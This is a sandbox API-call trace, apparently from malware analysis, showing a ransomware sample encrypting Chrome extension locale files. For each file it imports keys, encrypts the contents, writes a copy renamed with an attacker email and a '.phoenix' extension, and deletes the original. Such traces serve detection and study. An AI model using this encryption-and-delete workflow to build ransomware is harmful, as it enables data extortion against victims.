	[0259.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.376] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.377] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.377] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.377] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.377] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151300) returned 1
	[0259.377] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.377] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x107, lpOverlapped=0x0) returned 1
	[0259.378] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0259.379] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0259.380] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0259.380] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.380] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.380] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0259.380] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.409] CryptDestroyKey (hKey=0x151300) returned 1
	[0259.409] CloseHandle (hObject=0x240) returned 1
	[0259.409] CloseHandle (hObject=0x250) returned 1
	[0259.409] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json")) returned 1
	[0259.410] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.410] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.411] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=258) returned 1
	[0259.411] CloseHandle (hObject=0x250) returned 1
	[0259.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json")) returned 0x20
	[0259.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.411] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.411] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.411] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.411] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.412] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0259.412] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.412] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x102, lpOverlapped=0x0) returned 1
	[0259.413] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0259.413] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0259.415] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0259.415] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.415] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.415] CryptDestroyKey (hKey=0x151640) returned 1
	[0259.415] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.463] CryptDestroyKey (hKey=0x151100) returned 1
	[0259.463] CloseHandle (hObject=0x250) returned 1
	[0259.463] CloseHandle (hObject=0x240) returned 1
	[0259.463] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json")) returned 1
	[0259.464] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.464] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.465] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=281) returned 1
	[0259.465] CloseHandle (hObject=0x240) returned 1
	[0259.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json")) returned 0x20
	[0259.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.465] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.465] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.465] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.465] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.466] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0259.466] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.466] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x119, lpOverlapped=0x0) returned 1
	[0259.466] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0259.466] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0259.467] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0259.467] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.467] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.467] CryptDestroyKey (hKey=0x151100) returned 1
	[0259.467] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.479] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0259.479] CloseHandle (hObject=0x240) returned 1
	[0259.479] CloseHandle (hObject=0x250) returned 1
	[0259.482] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json")) returned 1
	[0259.483] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.484] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.484] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=258) returned 1
	[0259.484] CloseHandle (hObject=0x250) returned 1
	[0259.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json")) returned 0x20
	[0259.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.484] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.484] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.484] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.485] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.485] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1511c0) returned 1
	[0259.485] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.485] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x102, lpOverlapped=0x0) returned 1
	[0259.486] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0259.486] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0259.488] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0259.488] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.488] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.488] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.488] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.543] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0259.543] CloseHandle (hObject=0x250) returned 1
	[0259.543] CloseHandle (hObject=0x240) returned 1
	[0259.543] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json")) returned 1
	[0259.544] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.544] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.545] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=218) returned 1
	[0259.545] CloseHandle (hObject=0x240) returned 1
	[0259.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json")) returned 0x20
	[0259.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.545] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.545] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.545] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.545] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.546] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151540) returned 1
	[0259.546] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.546] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xda, lpOverlapped=0x0) returned 1
	[0259.547] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0259.547] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0259.548] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
